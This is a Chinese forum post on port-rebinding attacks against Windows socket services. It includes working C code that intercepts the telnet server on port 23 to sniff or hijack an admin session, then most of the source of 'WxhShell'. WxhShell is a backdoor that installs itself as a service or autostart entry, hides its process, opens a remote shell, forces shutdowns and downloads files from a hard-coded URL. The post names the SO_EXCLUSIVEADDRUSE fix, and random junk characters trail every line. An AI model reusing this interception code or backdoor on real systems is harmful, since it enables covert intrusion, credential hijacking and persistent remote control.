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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: hj@< wU  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lP*_dt9  
>p4#AfGF  
  saddr.sin_family = AF_INET; M>+FIb(  
&kKopJH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6 /^$SWd2  
',L>UIXw  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 0 e 1W&  
8?ldD  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q_eGY&M  
S(kj"t*3  
  这意味着什么?意味着可以进行如下的攻击: C8qA+dri  
5)fEs.r0U  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 <[O8 {9j  
QXZjsa_|  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) s`W\`w}  
CL{R.OA  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J-t5kU;L{  
#9aB3C  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  1&A@Zo5|  
W99MA5P  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 G8%Q$  
H)&6I33`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 %a%x`S3  
'\qd{mM\r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Vb>!;C  
c,a+u  
  #include 0j*-ZvE)30  
  #include N*6Y5[g!\  
  #include [ t@  
  #include    #L[-WC]1y  
  DWORD WINAPI ClientThread(LPVOID lpParam);   0PIiG-o9  
  int main() f`w$KVZ1!w  
  { EgO=7?(pW  
  WORD wVersionRequested; Hn"xn79nc  
  DWORD ret; __HPwOCG7  
  WSADATA wsaData; ))"J  
  BOOL val; p!^.;c  
  SOCKADDR_IN saddr; 2 2K:[K  
  SOCKADDR_IN scaddr;  DJ?kQ  
  int err; 8s6~l.v  
  SOCKET s; r8\"'4B1  
  SOCKET sc; fx@Hd!nO~"  
  int caddsize; P$z8TDCH  
  HANDLE mt; Ipo?>To  
  DWORD tid;   V?U->0>Z4  
  wVersionRequested = MAKEWORD( 2, 2 ); J [}8&sn  
  err = WSAStartup( wVersionRequested, &wsaData ); MNURYA=  
  if ( err != 0 ) { rb_ cm  
  printf("error!WSAStartup failed!\n"); jEr/*kv  
  return -1; e%#(:L  
  } P?%kV  
  saddr.sin_family = AF_INET; #~J)?JL  
   4:\1S~WW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 5 _X|U*+5  
T_ ifDQX;  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); icW?a9b&  
  saddr.sin_port = htons(23); k fER  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ld58R  
  { f,GF3vu"  
  printf("error!socket failed!\n"); jUjgxP*7m  
  return -1; Kn~f$1  
  } 2\h]*x% :  
  val = TRUE; ~nk{\ rWO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 .>z)6S_G  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n"YY:Gm;8  
  { nbM[?=WS  
  printf("error!setsockopt failed!\n"); ycAQHY~n  
  return -1; GtcY){7  
  } VfAC&3 %M  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; gf/$M[H!   
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 @QiuCB  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 _[|~(lDJl  
-V@vY42  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) uM"G)$I\  
  { s5 ? 1w   
  ret=GetLastError(); iB#xUSkS  
  printf("error!bind failed!\n"); dL%?k@R  
  return -1; NoS|lT  
  } SP][xdN7  
  listen(s,2); UFnz3vc  
  while(1) Hts.G~~8  
  { ,$irJz F  
  caddsize = sizeof(scaddr); rlSar$  
  //接受连接请求 JR/:XYS+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); b4`t, D  
  if(sc!=INVALID_SOCKET) Ara D_D  
  { le%&r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); r7w1~z  
  if(mt==NULL) n}?XFx!%  
  { wi'CBfr'z  
  printf("Thread Creat Failed!\n"); \T)2J|mW  
  break; G+Ft2/+\  
  } A:$Qt%c  
  } 5Ug.J{d  
  CloseHandle(mt); 5~&9/ ALk5  
  } X yi[z tN  
  closesocket(s);  JvFd2@  
  WSACleanup(); LQ T^1|nq  
  return 0; XB  
  }   @~pIyy\_  
  DWORD WINAPI ClientThread(LPVOID lpParam) MY>mP  
  { SV%;w>  
  SOCKET ss = (SOCKET)lpParam;  ;0G+>&C8  
  SOCKET sc; ??& Q"6Oe  
  unsigned char buf[4096]; &2-dZK  
  SOCKADDR_IN saddr; P]]re,&R  
  long num; jOL$kiW0  
  DWORD val; " `rkp=  
  DWORD ret; +3]1AJa  
  //如果是隐藏端口应用的话,可以在此处加一些判断 'p3JYRT$  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   R5M/Ho 4  
  saddr.sin_family = AF_INET; K|Sh  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,l-tLc  
  saddr.sin_port = htons(23); o^P/ -&T  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ZmSe>}B=  
  { G9'Wo.$ t  
  printf("error!socket failed!\n"); /NvHM$5O%  
  return -1; LWG%]m|C  
  } ziUEA>m */  
  val = 100; S<Z]gY @c  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) y;zp*(}f$h  
  { 9[yW&t;#  
  ret = GetLastError(); $yG>=GN  
  return -1; N!R>L{H>  
  } ;Fw{p{7<  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O$ dz=)  
  { VF8pH <  
  ret = GetLastError(); {%g]Ym=  
  return -1; l /?Jp+]  
  } %JUD54bBt  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5>z`==N)  
  { $ ?ayE  
  printf("error!socket connect failed!\n"); OW}ny  
  closesocket(sc); >bQ'*!  
  closesocket(ss); a,<l_#'  
  return -1; )b^yAzL?  
  } 1F`1(MYt9  
  while(1) {4B{~Qe;  
  { CUIFKM  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 +<#0V!DM  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Zy !^HS$  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 (jj=CLe  
  num = recv(ss,buf,4096,0); sfb)iH|sW  
  if(num>0) "^/3?W>  
  send(sc,buf,num,0); L1P.@hJ  
  else if(num==0) n*twuB/P 1  
  break; )1#J4  
  num = recv(sc,buf,4096,0); -U&k%X   
  if(num>0) p6)Jzh_/  
  send(ss,buf,num,0); ]70V  
  else if(num==0) v6uXik  
  break; Jz"Yb  
  } Rr>nka)U  
  closesocket(ss); < cNJrer  
  closesocket(sc); L\)GPTo!x  
  return 0 ; }Xa1K;KM{  
  } >@Vap  
!2 YvG%t^6  
3a|I| NP  
========================================================== Sfl. &A(  
>;wh0dBe  
下边附上一个代码,,WXhSHELL o:oQF[TcFO  
SSCyq#dl$  
========================================================== c, IAz  
@\ udaZc  
#include "stdafx.h" Y52f8qQq  
{|!> {  
#include <stdio.h> 2%!yV~Z  
#include <string.h> r.WQ6h/eZ5  
#include <windows.h> = Ob-'Syg>  
#include <winsock2.h> `i~kW  
#include <winsvc.h> 'YFy6rds  
#include <urlmon.h> 5?] Dn k.o  
0oT~6BGm  
#pragma comment (lib, "Ws2_32.lib") a!?JVhD&  
#pragma comment (lib, "urlmon.lib") 0Y|"Bo9k  
tfz"9PV80  
#define MAX_USER   100 // 最大客户端连接数 mz-sazgV  
#define BUF_SOCK   200 // sock buffer _!qi`A  
#define KEY_BUFF   255 // 输入 buffer :v$][jZ2  
nF"NXYa  
#define REBOOT     0   // 重启 5t=7-  
#define SHUTDOWN   1   // 关机 msf%i!  
t%S2D  
#define DEF_PORT   5000 // 监听端口 7XM:4whw  
;W~H|M  
#define REG_LEN     16   // 注册表键长度 Bp:PAy  
#define SVC_LEN     80   // NT服务名长度 $kAal26z  
3Gk\3iU!  
// 从dll定义API !xD$U/%c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }0okyGg>q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3ncL351k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); \+iZdZD  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  4:Ton  
~DJILc  
// wxhshell配置信息 5MX7V4ist  
struct WSCFG { x->H~/  
  int ws_port;         // 监听端口 $^K12Wcp-  
  char ws_passstr[REG_LEN]; // 口令 `f)X!S2l  
  int ws_autoins;       // 安装标记, 1=yes 0=no xR~9|H9a  
  char ws_regname[REG_LEN]; // 注册表键名 jNbU{Z%r  
  char ws_svcname[REG_LEN]; // 服务名 ^55q~DP}>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9*Z!=Y#4,  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 vV PK  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u.yjk/jF  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eeVzOq(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TxA%{0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 FE=vUQXE2  
DeK&_)g| Z  
}; OCN:{  
Pl/B#Sbf'  
// default Wxhshell configuration JHJIjYG>P  
struct WSCFG wscfg={DEF_PORT, MkK6.qV\z  
    "xuhuanlingzhe", r-e-2y7  
    1, s=8$h:^9>  
    "Wxhshell", {3@"}Eh  
    "Wxhshell", KFhnv`a.0  
            "WxhShell Service", j=kz^o~mH  
    "Wrsky Windows CmdShell Service", Nu,t,&B   
    "Please Input Your Password: ", APUpqY  
  1, &iTTal.6  
  "http://www.wrsky.com/wxhshell.exe", Ewq7oq5:  
  "Wxhshell.exe" Xh?J"kjof  
    }; N"[r_!  
MwE^.6xl{  
// 消息定义模块 v;.w*x8Jw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hfo/\\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |_\q5?S  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oAt{ #v  
char *msg_ws_ext="\n\rExit."; {>h,@  
char *msg_ws_end="\n\rQuit."; Dzr(Fb  
char *msg_ws_boot="\n\rReboot..."; iezY+`x4  
char *msg_ws_poff="\n\rShutdown..."; ?m bI6fYv  
char *msg_ws_down="\n\rSave to "; *r/o \pyH  
jBr3Ay@<  
char *msg_ws_err="\n\rErr!"; .22}= z  
char *msg_ws_ok="\n\rOK!"; u OB`A-K  
? 4v"y@v  
char ExeFile[MAX_PATH]; k=  
int nUser = 0; mV;)V8'  
HANDLE handles[MAX_USER]; GhC%32F  
int OsIsNt; ;s^F:O  
^!7|B3`  
SERVICE_STATUS       serviceStatus; m?y'Y`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; lPA:ho/`:  
3J}/<&wv  
// 函数声明 g0M/Sv  
int Install(void); V8947h|&  
int Uninstall(void); ,e@707d`\  
int DownloadFile(char *sURL, SOCKET wsh); v$~ZT_"(9  
int Boot(int flag); c :u2a/Q?  
void HideProc(void); 1Q!^%{Y;  
int GetOsVer(void); 2>F `H7W  
int Wxhshell(SOCKET wsl); #9/S2m2\YG  
void TalkWithClient(void *cs); #gSIa6z1W  
int CmdShell(SOCKET sock); 9xRor<  
int StartFromService(void); {1}p+dEK  
int StartWxhshell(LPSTR lpCmdLine); f^[u70c82  
w)<h$ <tU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); {s3j}&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); AiUK#I  
*?R<gWCF  
// 数据结构和表定义 g E$@:j  
SERVICE_TABLE_ENTRY DispatchTable[] = w=x [=O  
{ evE$$# 6R  
{wscfg.ws_svcname, NTServiceMain}, D.,~I^W  
{NULL, NULL} 115zvW  
}; :^J'_  
8;fi1 "F;}  
// 自我安装 1z-Q~m@@  
int Install(void) IJ2>\bW_p  
{ f}:W1&LhI?  
  char svExeFile[MAX_PATH]; \w=*:Z  
  HKEY key; qM9> x:V  
  strcpy(svExeFile,ExeFile); ]}9D*V  
aMO+ y91Y(  
// 如果是win9x系统,修改注册表设为自启动 :rnj>U6<>  
if(!OsIsNt) { JU!vVA_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V~4yS4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +<7a$/L?4  
  RegCloseKey(key); Nrfj[I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _<7e5VR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;#n+$Q#:  
  RegCloseKey(key); KBa   
  return 0; +7$zL;ph=n  
    } e) kVS}e?  
  } vFH1hm  
} P3+?gW'  
else { Qe4"a*l-r  
dL|*#e  
// 如果是NT以上系统,安装为系统服务 f1RX`rXf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); JAS!eF  
if (schSCManager!=0) ; 2Za]%'  
{ *v0}S5^ /"  
  SC_HANDLE schService = CreateService 89l{h8R  
  ( T]y^PT<8?  
  schSCManager, C^9bur/  
  wscfg.ws_svcname, la*c/*  
  wscfg.ws_svcdisp, (nt=  
  SERVICE_ALL_ACCESS, q|xic>.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , )kt,E}609  
  SERVICE_AUTO_START, `dm}|$X|  
  SERVICE_ERROR_NORMAL, $?dutbE  
  svExeFile, KO&oT#S  
  NULL, ]V.0%Ccw;.  
  NULL, DS>qth  
  NULL, X Frgnnt  
  NULL, ">'`{mXew  
  NULL J/ZC<dkYQ  
  ); !/6KQdF  
  if (schService!=0) '/ GZ,~q  
  { PXDwTuyc  
  CloseServiceHandle(schService); +HfZs"x  
  CloseServiceHandle(schSCManager); ehr,+GX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ALl0(<u67  
  strcat(svExeFile,wscfg.ws_svcname); Z >F5rkJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IWP[?U=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); =J827c{.  
  RegCloseKey(key); D",~?  
  return 0; &46 Ro|XE`  
    } PtT$#>hx]  
  } )d"s6i  
  CloseServiceHandle(schSCManager); ` EgO&;1D)  
} kz?m `~1  
} +i6XCN1=  
&dvL`  
return 1; K0z@gWGE  
} mFeoeI,Jv  
U(u$5  
// 自我卸载 #hP&;HZ2>"  
int Uninstall(void) _%6Vcy  
{ d ~3G EK  
  HKEY key; N Uq'96 {Y  
XdGA8%^cY  
if(!OsIsNt) { DgRA\[c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G8Sx;Xi  
  RegDeleteValue(key,wscfg.ws_regname); h0n,WU/Kw  
  RegCloseKey(key); )Qixde>]p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [;8vO=Z  
  RegDeleteValue(key,wscfg.ws_regname); N[8y+2SZ  
  RegCloseKey(key); [" nDw<U  
  return 0; b8TwV_&|X  
  } dT4e[4l  
} =~F.7wq*^  
} DTp|he  
else { 6n5>{X  
HA::(cXL  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); HT6+OK(~dJ  
if (schSCManager!=0) us3fBY'  
{ -3eHJccB  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )kuw&SH,  
  if (schService!=0) E1V;eoK.D  
  { (#%R'9R v  
  if(DeleteService(schService)!=0) { wC4:OJ[d  
  CloseServiceHandle(schService); bsgrg  
  CloseServiceHandle(schSCManager);  p@bcf5'  
  return 0; #+ 6t|  
  } T!pjv8y@R  
  CloseServiceHandle(schService); q'4qSu  
  } &a];"2  
  CloseServiceHandle(schSCManager); 4> $weu^  
} M}*#{UV2  
} K_t! P  
U2)y fhI  
return 1; >Pw ZHY  
} "8YXFg  
]eD5It\  
// 从指定url下载文件 L#X!.  
int DownloadFile(char *sURL, SOCKET wsh) .*+KQ A8  
{ =x3ZQA  
  HRESULT hr; E#A}J:  
char seps[]= "/"; XVNJ3/  
char *token; F^)SQ%xx  
char *file; t ]yD95|  
char myURL[MAX_PATH]; T{Rhn V1  
char myFILE[MAX_PATH]; o6~9.~_e  
gBCO>nJws  
strcpy(myURL,sURL); ~76qFZe-  
  token=strtok(myURL,seps); *g;4?_f  
  while(token!=NULL) 0'O*Y ]h+  
  { .P>-Fh,_p  
    file=token; K%/:V  
  token=strtok(NULL,seps); 6fr@y=s2:  
  } Bk9? =  
XP'7+/A  
GetCurrentDirectory(MAX_PATH,myFILE); |.c|\e z/  
strcat(myFILE, "\\"); X9xXL%Q  
strcat(myFILE, file); BV`,~n:  
  send(wsh,myFILE,strlen(myFILE),0); bcCCvV}6WZ  
send(wsh,"...",3,0); H^\2,x Z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sHi *\  
  if(hr==S_OK) `OWw<6`k  
return 0; _]~= Kjp  
else jQLiqi`  
return 1; %.+#e  
=fZMute  
} >84:1 `  
P-c<[DSM'I  
// 系统电源模块 3~&h9#7 Ke  
int Boot(int flag) :4, OA  
{ DHnu F@M  
  HANDLE hToken; 5v@-.p  
  TOKEN_PRIVILEGES tkp; A]k-bX= s  
IU*w 'a  
  if(OsIsNt) { ~0ku,P#D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ;`P}\Q{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Q+]9Glz9  
    tkp.PrivilegeCount = 1; y@?t[A#v  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; :- Al}7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); j/<z[qr  
if(flag==REBOOT) { PWw2;3`-6w  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) WMw]W&  
  return 0; 4`Z8EV  
} |-SImxV  
else { -Bl !s^-'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) *U69rbYI  
  return 0; vQiKpO*  
} = g[Cs*  
  } bEz1@"~ p  
  else { %]15=7#'y  
if(flag==REBOOT) { 5/>W(,5}  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) PF4"J^V  
  return 0; F:o<E 42  
} Qso"jYl<  
else { V<+= t{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j~a"z40  
  return 0; 6YCFSvA#/  
} k-uwK-B}v+  
} rIg5Wcd  
5sc`L  
return 1; S`qa_yI)Ed  
} n,E =eNc  
|VPJaiC~  
// win9x进程隐藏模块 vS$_H<;P  
void HideProc(void) Mx<? c  
{ KS6H`Mm}/  
UD@u hL  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); c+^#(OB  
  if ( hKernel != NULL ) _CDl9pP36#  
  { v>&sb3I  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); q0l=S+0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aN/0'V|&ym  
    FreeLibrary(hKernel); }wh sZ  
  } =/b WS,=  
g;Lk 'Ky6  
return; j$z<wR7j0  
} GvCB3z  
8 FqhSzw  
// 获取操作系统版本 1sT%g}w@|  
int GetOsVer(void) foOwJ}JU  
{ x/pM.NZF1  
  OSVERSIONINFO winfo; }bg_?o;X}  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =Bq3O58+  
  GetVersionEx(&winfo); =(^-s Jk  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WE hDep:  
  return 1; pRAdo="  
  else mx'!I7b(L/  
  return 0; Qmk}smvH  
} L`M.Htm8  
6_s_2cr  
// 客户端句柄模块 Snav)Hb'  
int Wxhshell(SOCKET wsl) O&Ws*k  
{ lOc!KZHUp  
  SOCKET wsh; Y8^pgv  
  struct sockaddr_in client; W_##8[r(?  
  DWORD myID; EM.7,;|N  
X}/{90UD  
  while(nUser<MAX_USER) r[TTG0|  
{ 7%E]E,f/#  
  int nSize=sizeof(client); D_HE!fl  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ia!b0*<   
  if(wsh==INVALID_SOCKET) return 1; /_`f b)f  
+@QN)ZwVy  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 6Wm`Vj(s  
if(handles[nUser]==0) :RH0.5)  
  closesocket(wsh); DeAi'"&  
else BJdH2qREN  
  nUser++; u9:+^F+  
  } >brf7h  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ev R6^n/  
@"\j]ZEnY  
  return 0; `Z}7G@ol  
} uP:Y[$O  
<#hltPyh  
// 关闭 socket kbxy^4"X  
void CloseIt(SOCKET wsh) @LzqQ [  
{ ,.cNs5 [t  
closesocket(wsh); i09w(k?  
nUser--; 4|Wg lri  
ExitThread(0); H.D1|sU  
} !w!}`|q  
qOusO6  
// 客户端请求句柄 h|MTE~   
void TalkWithClient(void *cs) lDQ'  
{ oj6b33z  
{x+"Ru~7,  
  SOCKET wsh=(SOCKET)cs; ^+ hJ& 9W  
  char pwd[SVC_LEN]; ]$StbBP  
  char cmd[KEY_BUFF]; cPemrNxydN  
char chr[1]; <HLe,  
int i,j; *6-fvqCv  
Zewx*Y|  
  while (nUser < MAX_USER) { wQ7G_kVp  
J< E"ZoY  
if(wscfg.ws_passstr) { oPX `/ X#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =*AAXNs@3  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2f%G`4/p  
  //ZeroMemory(pwd,KEY_BUFF); ,<^7~d{{3m  
      i=0; wc3OOyP@0  
  while(i<SVC_LEN) { ]y4(WG;:  
?HP54G<{xz  
  // 设置超时 8fn7!  
  fd_set FdRead; fI/?2ZH  
  struct timeval TimeOut; Y\.d s%G  
  FD_ZERO(&FdRead); _e ]jz2j  
  FD_SET(wsh,&FdRead); `sS\8~A  
  TimeOut.tv_sec=8; uG|d7LS,%  
  TimeOut.tv_usec=0; ,+u.FQv~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =1JS6~CTLN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); t Z_ni}  
"!9hcv- ;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Gj~1eS  
  pwd=chr[0]; 8>E_bxC  
  if(chr[0]==0xd || chr[0]==0xa) { Z$0+jpG_s  
  pwd=0; woHB![Q,  
  break; ,_JhvPWR,)  
  } uN:|4/;{&  
  i++; pzo9?/-  
    } ndSM*Fq  
SNV[KdvP*  
  // 如果是非法用户,关闭 socket uB(16|W>S  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o)X(;o  
} MWsjkI`  
!J5k?J&{=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); X#qm wcF  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J3]W2m2Zw  
+0w~Skd,  
while(1) { aUdbN&G  
I^M %+\  
  ZeroMemory(cmd,KEY_BUFF); $[L8UUHY<8  
$`2rtF  
      // 自动支持客户端 telnet标准   fZ9EE3  
  j=0; yj^LX2x"  
  while(j<KEY_BUFF) { -xJ_5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Kk}|[\fW  
  cmd[j]=chr[0]; m3apeIEi[  
  if(chr[0]==0xa || chr[0]==0xd) { h\oAW?^  
  cmd[j]=0; kQ,#NR/q6  
  break; }!5x1F!  
  } "[PxLq5  
  j++; Zu4|1 W  
    } A`=;yD  
.4M8  
  // 下载文件 )HrFWI'Y  
  if(strstr(cmd,"http://")) { m])!'Pa( =  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); N1lhlw6  
  if(DownloadFile(cmd,wsh)) I)xB I~x  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); O'6zV"<P  
  else dLtSa\2Hn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +E8Itb,  
  } 4"OUmh9LHB  
  else { E<[_L!2  
~?V+^<P  
    switch(cmd[0]) { 7eQE[C  
  j\^0BTZ  
  // 帮助 Oz\mIVC#  
  case '?': { R W= <EF&  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 6GxQ<  
    break; y$n7'W6  
  } [m9Pt]j@  
  // 安装 /`M> 3q[  
  case 'i': { hEO#uAR^Z  
    if(Install()) 4H7 3a5f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dXkgWLI~  
    else "4VC:"$f  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | HkLl^  
    break; M*DFtp<  
    } x=+R0ny  
  // 卸载 a,o>E4#c  
  case 'r': { |4UU`J9M  
    if(Uninstall()) <@B zF0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \htL\m^$9  
    else K !X>k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s m42  
    break; #q;hX;Va  
    } wzw`9^B  
  // 显示 wxhshell 所在路径 {K{&__Nk  
  case 'p': { OH.Re6Rr  
    char svExeFile[MAX_PATH]; Bg^k~NX%  
    strcpy(svExeFile,"\n\r"); z*Y4t?+  
      strcat(svExeFile,ExeFile); kmJ {(y)w  
        send(wsh,svExeFile,strlen(svExeFile),0); pUvbIbg+  
    break; CYr2~0<g  
    } G1; .\i  
  // 重启 S(7_\8 h  
  case 'b': { b&LfL$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); tEz6B}  
    if(Boot(REBOOT)) -Jo8jE~>V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ya81z4?  
    else { _$<Q$P6y  
    closesocket(wsh); M`W%nvEDE  
    ExitThread(0); (S :+#v  
    } traJub  
    break; ^y@ RfM=A  
    } ~<M/<%o2*  
  // 关机 sGNVZx  
  case 'd': { dg%Orvuz  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); us&!%`  
    if(Boot(SHUTDOWN)) d^"dL" Q6m  
